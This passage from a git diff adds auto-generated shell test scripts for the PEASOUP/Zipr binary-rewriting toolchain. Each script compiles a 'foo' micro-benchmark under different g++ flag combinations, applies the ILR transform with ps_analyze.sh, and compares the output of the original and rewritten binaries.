+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d1b7c407c586e6c180ddb530591fbb1253d3a171
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..19db9cb8c88bc27da0f0277bd1af7673bc46f3af
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3905ba04479ec0631cd23864081293a08112d954
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b08b8d35b6275323fca23d7dd5469311dbff1e8c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ecde5e1cc52f6d59e9c740dfea1c13c3bc97c753
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8d7709cd1491bea85bcbabd1361cf64fab34e425
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
